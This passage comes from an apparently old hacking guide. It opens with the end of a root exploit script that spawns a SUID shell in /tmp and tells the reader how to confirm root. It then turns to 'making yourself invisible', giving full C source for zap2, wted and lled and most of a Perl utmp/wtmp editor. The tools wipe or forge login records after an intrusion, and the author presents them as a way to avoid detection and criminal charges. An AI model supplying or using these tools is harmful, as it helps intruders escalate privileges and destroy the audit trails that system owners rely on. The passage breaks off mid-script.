- kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
- rm leshka.c leshka smtpd.c /tmp/smtpd
- cd /tmp
- sh
- ------------ cut here
-
- Just chmod the file +x like this
-
- chmod +x sm.sh
-
- 1. Run the file
- 2. It will take you to the /tmp directory
- 3. type ls -l and see if you have a SUID sh file there, if you do, type
- whoami, if not root, run the file ./sh, now see if you are root ;)
-
- I will add many more scripts in the appendix, but these should be the best
- at this time to get root access on linux or BSD, if you need another BSD
- exploit try the crontab exploit for BSD in the appendix.
- ****************************************************************************
-
- --------------------------
- Chapter V
- Making yourself invisible
- --------------------------
-
- The whole point of this hacking stuff is that you continue to have access to as
- many points of information as possible. If you do stupid things, of fail just
- once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
- system. Make yourself a regular order to follow and learn each system well!
-
- Become part of the system, and take many notes if you are doing many systems
- at once. But remember make yourself a routine. Have your set routine of
- taking your time to clean any presence of your login, transfers, etc. Do NOT fail
- in this one thing or you will loose access and possibly face some sort of
- charges.
-
- ----------------------------
- Section 5A
- Zap2 (for wtmp/lastlog/utmp)
- ----------------------------
-
- There are different log cleaning programs out there, but the best of these
- is zap2. I compile mine to be named z2.
-
- z2 will be run right after you get root access. This will want to be one of
- the fastest things you run. (you never know)
-
- You might want to do a finger @host.xxx to see who is on now, look at the idle
- time of root or admin accounts to see if they are away doing something.
-
- Login, and as soon as you get on, type w, to see idle time and who is on, but
- at the same time you are looking at that be typing your root access command
- that you should have waiting somewhere nested in the system. As soon as you
- get your root access, type ./z2 username-u-logged-in-as
-
- Now you are safer then you were. Do a w or who command to see that you are
- gone from the utmp. If you ftp, or do other things you might have to use
- other programs I will include in the next section called wted and lled.
-
- Lets finish with this z2 first. You will have to see where each file is in
- the system and edit z2.c to include the right location of these files
-
- Here is the area you will look for right at the top of the file:
-
- #define WTMP_NAME "/usr/adm/wtmp"
- #define UTMP_NAME "/etc/utmp"
- #define LASTLOG_NAME "/usr/adm/lastlog"
-
- Most of the systems I login to are:
-
- #define WTMP_NAME "/var/adm/wtmp"
- #define UTMP_NAME "/var/adm/utmp"
- #define LASTLOG_NAME "/var/adm/lastlog"
-
-
- But you do your own look around to see were the files are. Also /var/log:
- is a regular location.
-
- Add the log locations for each system, compile the file, and you are all ready
- to be invisible right after the login using z2
-
- Here is the .c file
-
- z2.c
- --------------------------- cut here
- #include <sys/types.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/file.h>
- #include <fcntl.h>
- #include <utmp.h>
- #include <pwd.h>
- #include <lastlog.h>
- #define WTMP_NAME "/usr/adm/wtmp"
- #define UTMP_NAME "/etc/utmp"
- #define LASTLOG_NAME "/usr/adm/lastlog"
-
- int f;
-
- void kill_utmp(who)
- char *who;
- {
- struct utmp utmp_ent;
-
- if ((f=open(UTMP_NAME,O_RDWR))>=0) {
- while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof( utmp_ent ));
- lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
- write (f, &utmp_ent, sizeof (utmp_ent));
- }
- close(f);
- }
- }
-
- void kill_wtmp(who)
- char *who;
- {
- struct utmp utmp_ent;
- long pos;
-
- pos = 1L;
- if ((f=open(WTMP_NAME,O_RDWR))>=0) {
-
- while(pos != -1L) {
- lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
- if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
- pos = -1L;
- } else {
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof(struct utmp ));
- lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
- write (f, &utmp_ent, sizeof (utmp_ent));
- pos = -1L;
- } else pos += 1L;
- }
- }
- close(f);
- }
- }
-
- void kill_lastlog(who)
- char *who;
- {
- struct passwd *pwd;
- struct lastlog newll;
-
- if ((pwd=getpwnam(who))!=NULL) {
-
- if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
- lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
- bzero((char *)&newll,sizeof( newll ));
- write(f, (char *)&newll, sizeof( newll ));
- close(f);
- }
-
- } else printf("%s: ?\n",who);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc==2) {
- kill_lastlog(argv[1]);
- kill_wtmp(argv[1]);
- kill_utmp(argv[1]);
- printf("Zap2!\n");
- } else
- printf("Error.\n");
- }
- --------------------------- cut here
-
- ---------------
- Section 5B
- Other scripts
- ---------------
-
- Now we come to the other part of this. Lets say that after you login, and do
- your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
- Ok, you ftp in and grab a few files, or login to another account on the system,
- now you will need to use wted. wted will let you edit the wtmp to remove your
- login from the ftp. You also might need to use the lled (lastlog edit).
-
- Here is the menu if you type ./wted, after setting log locations & compile:
-
- [8:25pm][/home/compile]wted
- Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
- -h This help
- -f Use FILE instead of default
- -a Show all entries found
- -u Show all entries for USER
- -b Show NULL entries
- -e Erase USER completely
- -c Erase all connections containing HOST
- -z Show ZAP'd entries
- -x Attempt to remove ZAP'd entries completely
-
- So if i ftp to username tsmith I would type wted -x -e tsmith
-
- The program will now prompt you one login at a time for the user tsmith asking
- if you want to delete it. After you delete your login, make sure to
- chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
- the log directory. Like this:
-
- 1. chmod 644 wtmp.tmp
- 2. cp wtmp.tmp /var/adm/wtmp
-
- Here is your wted program:
-
- MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
- So make sure you have the right path to the wtmp file.
-
- wted.c
- ---------------------- cut here
- #include <stdio.h>
- #include <utmp.h>
- #include <time.h>
- #include <fcntl.h>
-
- char *file="/var/adm/wtmp";
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- int i;
- if (argc==1) usage();
- for(i=1;i<argc;i++)
- {
- if(argv[i][0] == '-')
- {
- switch(argv[i][1])
- {
- case 'b': printents(""); break;
- case 'z': printents("Z4p"); break;
- case 'e': erase(argv[i+1],0); break;
- case 'c': erase(0,argv[i+1]); break;
- case 'f': file=argv[i+1]; break;
- case 'u': printents(argv[i+1]); break;
- case 'a': printents("*"); break;
- case 'x': remnull(argv[i+1]); break;
- default:usage();
- }
- }
- }
- }
-
- printents(name)
- char *name;
- {
- struct utmp utmp,*ptr;
- int fp=-1;
- ptr=&utmp;
- if (fp=open(file,O_RDONLY))
- {
- while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
- {
- if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
- (!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
- printinfo(ptr);
- }
- close(fp);
- }
- }
-
- printinfo(ptr)
- struct utmp *ptr;
- {
- char tmpstr[256];
- printf("%s\t",ptr->ut_name);
- printf("%s\t",ptr->ut_line);
- strcpy(tmpstr,ctime(&(ptr->ut_time)));
- tmpstr[strlen(tmpstr)-1]='\0';
- printf("%s\t",tmpstr);
- printf("%s\n",ptr->ut_host);
- }
-
- erase(name,host)
- char *name,*host;
- {
- int fp=-1,fd=-1,tot=0,cnt=0,n=0;
- struct utmp utmp;
- unsigned char c;
- if (fp=open(file,O_RDONLY)) {
- fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
- while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
- if (host)
- if (strstr(utmp.ut_host,host)) tot++;
- else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
- if (name) {
- if (strcmp(utmp.ut_name,name)) {cnt++;
- write(fd,&utmp,sizeof(struct utmp));}
- else {
- if (n>0) {
- n--;cnt++;
- write(fd,&utmp,sizeof(struct utmp));}
- else
- {
- printinfo(&utmp);
- printf("Erase entry (y/n/f(astforward))? ");
- c='a';
- while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
- if (c=='f') {
- cnt++;
- write(fd,&utmp,sizeof(struct utmp));
- printf("Fast forward how many entries? ");
- scanf("%d",&n);}
- if (c=='n') {
- cnt++;
- write(fd,&utmp,sizeof(struct utmp));
- }
- if (c=='y') tot++;
- }
- } }
- }
- close(fp);
- close(fd);
- }
- printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
- printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
- }
-
- remnull(name)
- char *name;
- {
- int fp=-1,fd=-1,tot=0,cnt=0,n=0;
- struct utmp utmp;
- if (fp=open(file,O_RDONLY)) {
- fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
- while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
- if (utmp.ut_time) {
- cnt++;
- write(fd,&utmp,sizeof(struct utmp));
- }
- else
- tot++;
- }
- close(fp);
- close(fd);
- }
- printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
- printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
- }
-
- usage()
- {
- printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
- printf("\t-h\tThis help\n");
- printf("\t-f\tUse FILE instead of default\n");
- printf("\t-a\tShow all entries found\n");
- printf("\t-u\tShow all entries for USER\n");
- printf("\t-b\tShow NULL entries\n");
- printf("\t-e\tErase USER completely\n");
- printf("\t-c\tErase all connections containing HOST\n");
- printf("\t-z\tShow ZAP'd entries\n");
- printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
- }
- ---------------------- cut here
-
- You might also have to clean stuff out of the file /vat/adm/lastlog
-
- For this use the lled.c. Compile the program and name it lled.
-
- Here is a menu from the program when you type ./lled
-
- [4:04am][/home/paris/compile]lled
- Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
- -h This help
- -f Use FILE instead of default
- -a Show all entries found
- -u Show all entries for USER
- -b Show NULL entries
- -e Erase USER completely
- -c Erase all connections containing HOST
- -z Show ZAP'd entries
- -x Attempt to remove ZAP'd entries completely
-
- It would be good to try to view first using -u, but many times it will not
- show your username in the lastlog, but it will still have your host, so I
- have found that if you know what to look for you can just type something like:
- If my host name that I was coming from was machine.edit.com, I could type
-
- lled -e username -c machine.edit
-
- If you need to view the lastlog your host entry should be at the end of the
- file, just type: lled -a
-
- chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
- file in the log directory just like you did above for the wted.
-
- BE SURE TO SET THE PATH FOR YOUR lastlog below!
-
- Ok here is your lled.c
- -------------------------- cut here
- #include <stdio.h>
- #include <time.h>
- #include <lastlog.h>
- #include <fcntl.h>
-
- char *file="/var/adm/lastlog";
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- int i;
- if (argc==1) usage();
- for(i=1;i<argc;i++)
- {
- if(argv[i][0] == '-')
- {
- switch(argv[i][1])
- {
- case 'b': printents(""); break;
- case 'z': printents("Z4p"); break;
- case 'e': erase(argv[i+1]); break;
- case 'c': erase(0,argv[i+1]); break;
- case 'f': file=argv[i+1]; break;
- case 'u': printents(argv[i+1]); break;
- case 'a': printents("*"); break;
- case 'x': remnull(argv[i+1]); break;
- default:usage();
- }
- }
- }
- }
-
- printents(name)
- char *name;
- {
- struct lastlog utmp,*ptr;
- int fp=-1;
- ptr=&utmp;
- if (fp=open(file,O_RDONLY))
- {
- while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
- {
- if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
- (!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
- printinfo(ptr);
- }
- close(fp);
- }
- }
-
- printinfo(ptr)
- struct lastlog *ptr;
- {
- char tmpstr[256];
- printf("%s\t",ptr->ll_line);
- strcpy(tmpstr,ctime(&(ptr->ll_time)));
- tmpstr[strlen(tmpstr)-1]='\0';
- printf("%s\t",tmpstr);
- printf("%s\n",ptr->ll_host);
- }
-
- erase(name,host)
- char *name,*host;
- {
- int fp=-1,fd=-1,tot=0,cnt=0,n=0;
- struct lastlog utmp;
- unsigned char c;
- if (fp=open(file,O_RDONLY)) {
- fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
- while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
- if (host)
- if (strstr(utmp.ll_host,host)) tot++;
- else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
- if (name) {
- if (strcmp(utmp.ll_line,name)) {cnt++;
- write(fd,&utmp,sizeof(struct lastlog));}
- else {
- if (n>0) {
- n--;cnt++;
- write(fd,&utmp,sizeof(struct lastlog));}
- else
- {
- printinfo(&utmp);
- printf("Erase entry (y/n/f(astforward))? ");
- c='a';
- while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
- if (c=='f') {
- cnt++;
- write(fd,&utmp,sizeof(struct lastlog));
- printf("Fast forward how many entries? ");
- scanf("%d",&n);}
- if (c=='n') {
- cnt++;
- write(fd,&utmp,sizeof(struct lastlog));
- }
- if (c=='y') tot++;
- }
- } }
- }
- close(fp);
- close(fd);
- }
- printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
- printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
- }
-
- remnull(name)
- char *name;
- {
- int fp=-1,fd=-1,tot=0,cnt=0,n=0;
- struct lastlog utmp;
- if (fp=open(file,O_RDONLY)) {
- fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
- while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
- if (utmp.ll_time) {
- cnt++;
- write(fd,&utmp,sizeof(struct lastlog));
- }
- else
- tot++;
- }
- close(fp);
- close(fd);
- }
- printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
- printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
- }
-
- usage()
- {
- printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
- printf("\t-h\tThis help\n");
- printf("\t-f\tUse FILE instead of default\n");
- printf("\t-a\tShow all entries found\n");
- printf("\t-u\tShow all entries for USER\n");
- printf("\t-b\tShow NULL entries\n");
- printf("\t-e\tErase USER completely\n");
- printf("\t-c\tErase all connections containing HOST\n");
- printf("\t-z\tShow ZAP'd entries\n");
- printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
- }
- ---------------------------------------------------------------- cut here
-
- A good perl script for editing utmp, wtmp, and checking processes.
- It will also let you insert lines in wtmp. So if you need to play you
- can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
- on the system for a few hours!
-
- Running 'check' will let you know if someone is on the system and not showing
- up in the utmp log. Admins like to hide the fact that they are online
- sometimes. This will allow you to see their connection. You must be root to
- run the script, and they need perl 5.003+ on thier system. After starting
- the script just type help.
-
- Here are some of the basic commands:
-
- starts by loading wtmp
-
- delete user username
- delete host hostanme
- write
-
- read wtmp
- delete user username
- delete host hostname
- write
-
- do help for the rest ... the best wtmp,wtmp editor around!
-
- Say thankyou i-e ;)
-
- -----------------------start of utmpman.pl
- #!/usr/bin/perl -w
- #
- # Variable defines.
- my($utmp_location) = "/var/run/utmp";
- my($wtmp_location) = "/var/log/wtmp";
- my($shells_location) = "/etc/shells";
- my($ttybase) = "tty";
- my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
- my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
-
- # Global initializations.
- my($active_file) = "";
- my(%entries) = {};
- my(@cmdline) = ();
- my(@shells) = ();
-
- # Display banner.
- print "\nutmp Manager v0.8\n\n";
-
- # Access check.
- die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
-
- # Read in valid shells.
- if (defined($shells_location)) {
- open(SHELLFILE, "<$shells_location");
- @shells = <SHELLFILE>;
- close(SHELLFILE);
- }
- # Process "basename" of each shell.
- @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
-
- print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
- readfile("$utmp_location");
- print("\nutmpman: $active_file> ");
- while (<STDIN>) {
- process_cmd(split);
- print("\nutmpman: $active_file> ");
- }
-
- sub process_cmd {
- return if (!defined(@_));
- my(@line) = map { lc($_) } @_;
-
- $_ = shift(@line);
- SWITCH: {
- /^check$/ && do {
- check_func(@line);
- last SWITCH;
- };
-
- /^delete$/ && do {
- del_func(@line);
- last SWITCH;
- };
-
- /^help$/ && do {
- help_func();
- last SWITCH;
- };
-
- /^insert$/ && do {
- ins_func(@line);
- last SWITCH;
- };
-
- /^list$/ && do {
- list_func(@line);
- last SWITCH;
- };
-
- /^read$/ && do {
- read_func(@line);
- last SWITCH;
- };
-
- /^write$/ && do {
- write_func(@line);
- last SWITCH;
- };
-
- /^quit|exit$/ && exit(0);
-
- # DEFAULT.
- print ("Invalid command.\n");
- }
- }
-
-
- # HELP
-
- sub help_func {
- print << "EOM";
-
- utmpManager Help
- ----------------
-
- Note: - <n> is an argument.
- - [id=] is a token which expects a value as part of command
- (ie, insert id=p5 user=root 11/23/96). See the insert command.
- - A line is the full name to the tty port, ie ttyp0.
- - An id is the *unique* representation of the port
- (without the tty, etc), ie "p0" (for ttyp0).
-
- check
- - Perform user consistancy check. Use this to make sure that the data in
- utmp agrees with who is actually on the machine. This is useful in
- determining if a user is online with hidden ports, running nohup'd
- processes, or running iScreen.
-
- delete <x>-<y>
- - Delete entries #x to #y.
-
- delete host <host>
- - Delete *all* entries which match the substring <host>.
-
- delete line|id <line|id>
- - Delete entry containing <line> or <id>.
-
- insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- - Insert an entry into utmp/wtmp files specifying any combination
- of id/line, type, username, host, connection time, and logoff time.
- (LogoffTime only valid for WTMP files.)
-
- list host <host>
- - List all entries matching the substring <host>.
-
- list line|id <line|id>
- - List all entries matching <line> or <id>.
-
- read utmp|wtmp|<filename>
- - Read entries from either default wtmp, default utmp, or an arbitrary
- filename. Note: arbitrary filenames MUST start with either "utmp" or
- "wtmp" to be used with this editor. Rename files *outside* of this
- editor if necessary. If read is executed without any arguments, it
- rereads the last given filename, which is displayed on the prompt.
-
- write {filename}
- - Write entries to file {filename}. If write is executed without any
- arguments, then entries will be written to the last given filename,
- which is displayed on the prompt.
-
- EOM
- }
-
- # DELETE
-
- sub del_func {
- my(@params) = @_;
-
- if (!push(@_)) {
- print("delete :: Not enough parameters. See \"help\" for syntax.\n");
- return undef;
- } elsif ($params[0] =~ /host|user|id|line/) {
- del_by_data(@_);
- } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
- del_by_range($params[0]);
- } elsif ($params[0] =~ m/^(\d+)$/) {
- del_by_range("$1-$1");
- }
-
- # Renumber list after delete operation.
- resync();
- }
-
-
- sub del_by_range {
- my($range)=shift;
- $range =~ m/(\d+)*-(\d+)*/;
- my($lo, $hi, $count)=($1, $2, 0);
-
- $lo = 0 if (!defined($lo));
- $hi = scalar(keys(%entries)) if (!defined($hi));
-
- foreach (sort( { $a <=> $b } keys(%entries))) {
- if (($_ >= $lo) && ($_ <= $hi)) {
- delete($entries{$_});
- $count++;
- }
- }
- print "$count entries deleted.\n";
- }
-
-
- sub del_by_data {
- my($op, $data) = @_;
- my($count) = 0;
-
- if ((length($data) < 5) && ($op eq "host")) {
- print "Must specify at least 5 characters for delete hostmask.\n";
- return undef;
- } elsif (((length($data) > 4) && ($op eq "id"))||
- ((length($data) > 11) && ($op eq "line"))) {
- print "Invalid $op specified.\n";
- return undef;
- }
- # Note: If we are deleting by user, then user must match, *exactly*!
- $data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
- foreach (sort( { $a <=> $b } keys(%entries))) {
- if (%{$entries{$_}}->{$op} =~ m/$data/i) {
- delete($entries{$_});
- ++$count;
- }
- }
- if (!$count) {
- print "No $op entries matching $data.\n";
- } else {
- print "$count entries deleted.\n";
- }
- }
-
-
- # INSERT
-
- # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
- # Date2 Time2 = DateTime2 => (see above)
- # user=<username>
- # host=<hostname>
- # id=<id> | line=<line>
- #
- # utmp:
- # insert {id=|line=} [type=] [user=] [host=] [DateTime]
- # wtmp:
- # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
-
- sub ins_func {
- my(%cmdopt)={};
- my($datetime1, $datetime2, $gmdate, $gmdate2);
-
- # Get random pid out of the way.
- $cmdopt{"pid"} = int(rand(32656)+100);
- $cmdopt{"addr"} = pack("a4", "");
-
- # Get command options.
- foreach (@_) {
- if (/=/) {
- local($key, $value)=split(/=/);
- $cmdopt{$key} = $value;
- } else {
- if (!defined($datetime1)) {
- $datetime1 = $_;
- next;
- }
- if (!defined($datetime2)) {
- $datetime2 = $_ ;
- next;
- }
- print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
- return undef;
- }
- }
-
- # Check for an illegal pair or illegal option.
- foreach (keys(%cmdopt)) {
- if (!(/^host|id|line|type|user|addr$/)) {
- print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
- return undef;
- }
- if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
- print "insert :: LAST option only valid for utmp files.\n";
- return undef;
- }
- }
-
- # Get date in seconds since 1970.
- $gmdate = SecsSince1970($datetime1);
-
- # Get ending date in seconds since 1970.
- $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
-
- if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
- print "insert :: Invalid date specified.\n";
- return undef;
- }
-
- if (defined($gmdate2)) {
- if ($gmdate2 < $gmdate) {
- print "insert :: First date/time must be *later* than second date/time.\n";
- return undef;
- }
- }
-
- if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
- print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
- return undef;
- }
-
- my($op);
-
- if (!defined($cmdopt{"id"})) {
- $cmdopt{"id"} = $cmdopt{"line"};
- $op = "line";
- if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
- print "insert :: Invalid line specified.\n";
- return undef;
- }
- } else {
- $cmdopt{"line"} = $ttybase . $cmdopt{"id"};
- $op = "id";
- }
-
- if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
- print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
- return undef;
- }
-
- my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
- (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
- my($epos1, $npos1, $epos2, $npos2) = ();
- my($oldpos, $count)=("", 0);
-
- foreach (sort( { $a <=> $b } keys(%entries))) {
- if ($active_file =~ m!/*utmp[^/]*$!i) {
- # Handle utmp insertion by line insertion.
- if (%{$entries{$_}}->{$op} eq $searchdata) {
- printf ("insert :: $op $searchdata already exists at position $_\n");
- # This needs to check every option in %cmdopt for defined or null.
- $count = 0;
- foreach (qw(user host time)) {
- if (defined($cmdopt{$_})) {
- $count++ if ($cmdopt{$_} ne "");
- }
- }
- if (!$count) {
- printf ("insert :: No other data specified. Entry unchanged.\n");
- return undef;
- }
- last;
- }
- } else {
- # Handle wtmp insertion by time position. (Messy)
- $epos1 = $oldpos if (defined($npos1) && !defined($epos1));
- $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
- last if (!defined($gmdate2) && defined($epos1));
- $epos2 = $oldpos if (defined($npos2));
- $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
- last if (defined($epos2));
- }
- $oldpos = $_;
- }
-
- # Set any unspecified defaults.
- $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
- $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
- $cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
-
- # Determine end of list insertion positions. (IE, dates entered are after
- # dates in wtmp file or line/id not found in utmp file.
- $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
- if (defined($datetime2)) {
- $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
- ++$epos2 if (defined($gmtime2) && !defined($npos1));
- }
-
- # Parse insert data and insert entry.
- $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
- $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
- if (defined($npos2) && defined($gmdate2));
-
- # Insert first entry.
- $cmdopt{"time"} = $gmdate;
- @{$entries{$epos1}}{qw(type pid line id time user host addr)} =
- @{%cmdopt}{qw(type pid line id time user host addr)};
-
- if (defined($epos2)) {
- $cmdopt{"user"} = pack("a8", "");
- $cmdopt{"host"} = pack("a16","");
- $cmdopt{"id"} = pack("a4", "");
- $cmdopt{"time"} = $gmdate2;
-
- @{$entries{$epos2}}{qw(type pid line id time user host addr)} =
- @{%cmdopt}{qw(type pid line id time user host addr)};
- }
-
- resync();
- }
-
-
- # LIST
-
- sub list_func {
- my(@params) = @_;
-
- if (!push(@_) || ($params[0] eq "all")) {
- list_by_range("-");
- return 0;
- } elsif ($params[0] =~ /^host|user|id|line$/) {
- list_by_data(@_);
- return 0;
- } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
- list_by_range($params[0]);
- return 0;
- } elsif ($params[0] =~ m/^(\d+)$/) {
- list_by_range("$1-$1");
- return 0;
- }
-
- print ("list :: Error in parameters. See \"help\" for syntax.\n");
- return undef;
- }
-
-
- sub list_by_data {
- my($op, $data) = @_;
- my($count) = 0;
-
- foreach (sort( {$a <=> $b} keys(%entries))) {
- if (%{$entries{$_}}->{$op} =~ m/$data/i) {
- list_entry($_);
- ++$count;
- }
- }
- print "No $op entries matching $data.\n" if (!$count);
- }
-
-
- sub list_by_range {
- my($range)=shift;
- $range =~ m/(\d+)*-(\d+)*/;
- my($lo, $hi)=($1, $2);
-
- $lo = 0 if (!defined($lo));
- $hi = scalar(keys(%entries)) if (!defined($hi));
-
- foreach (sort( { $a <=> $b } keys(%entries))) {
- if (($_ >= $lo) && ($_ <= $hi)) {
- list_entry($_);
- }
- }
- }
-
-
- sub list_entry {
- printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
- printf(" %s/%s", @{$entries{$_}}{qw(id line)});
- printf(": %s ", %{$entries{$_}}->{"user"})
- if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
- printf("from %s", %{$entries{$_}}->{"host"})
- if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
- if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
- printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
- }
- print ("\n");
- printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
- if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
- }
-
- # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
- # <Silmaril> now *that's* cool :-)
- # <Silmaril> should be like this: @{$v}{qw(time id line user host)}
- # <Silmaril> I had an extra -> in my first version.
- #
- # Or course, it's changed since then, but - "Thanks, Sil!" :)
- #
-
-
- # READ
-
-
- sub read_func {
- my($arg)=shift;
-
- $arg = $utmp_location if ($arg eq "utmp");
- $arg = $wtmp_location if ($arg eq "wtmp");
- $arg = $active_file if (!defined($arg));
-
- if ($arg !~ m!/*[uw]tmp[^/]*$!) {
- print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
- return undef;
- }
-
- readfile($arg);
- }
-
-
- # WRITE
-
- sub write_func {
- my($file)=shift;
- my($count)=0;
-
- $file = $active_file if (!defined($file));
- if ($file !~ m!/*[uw]tmp[^/]*$!) {
- print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
- return undef;
- }
- if (!open(OUTFILE, ">$file")) {
- print ("write :: Can't open $file for output.\n");
- return undef;
- }
- binmode(OUTFILE);
-
- foreach (sort( { $a <=> $b } keys(%entries))) {
- printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
- @{$entries{$_}}{qw(type pid line id time user host addr)}));
- $count++;
- }
- print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
- close(OUTFILE);
- }
-
-
- # CHECK
-
- sub check_func {
- if (push(@_)) {
- print "check :: Invalid options specified. Please see \"help\"\n";
- return undef;
- }
- if ($active_file !~ m!/*utmp[^/]*$!) {
- print "check :: Command can only be run on utmp files.\n";
- return undef;
- }
-
- # Build struct of ports containing port name, device num and owner.
- # Note: Test run in grepstr may *not* be portable for all Unix
- # types. Be forewarned! This was designed for Linux.
- # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
- # should return the same as what you expect in "struct utmp->ut_id".
- my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
- my(%ports) = {};
- my($user, $rdev) = ();
-
- opendir(DEVDIR, "/dev");
- my(@devfiles) = readdir(DEVDIR);
- @devfiles = grep(/$grepstr/, @devfiles);
- close(DEVDIR);
- foreach (@devfiles) {
- /^$ttybase([$ttyrange][$ttyports])$/;
- if (!defined($1)) {
- print "check :: Warning! Could not extract port ID from $_.\n";
- } else {
- ($user, $rdev) = (stat("/dev/$_"))[4, 6];
- $user = getpwuid($user);
- $ports{$1} = newport($_, $rdev, $user);
- }
- }
-
- # Check ownership of /dev ports.
- my(@logdev)=();
- foreach (sort(keys(%ports))) {
- push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
- }
- @logdev = sort(@logdev);
-
- # Check utmp (against ports detected as logged in);
- my(@logutmp)=();
- foreach (sort( { $a <=> $b } keys(%entries))) {
- if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
- defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
- push(@logutmp, %{$entries{$_}}->{"id"})
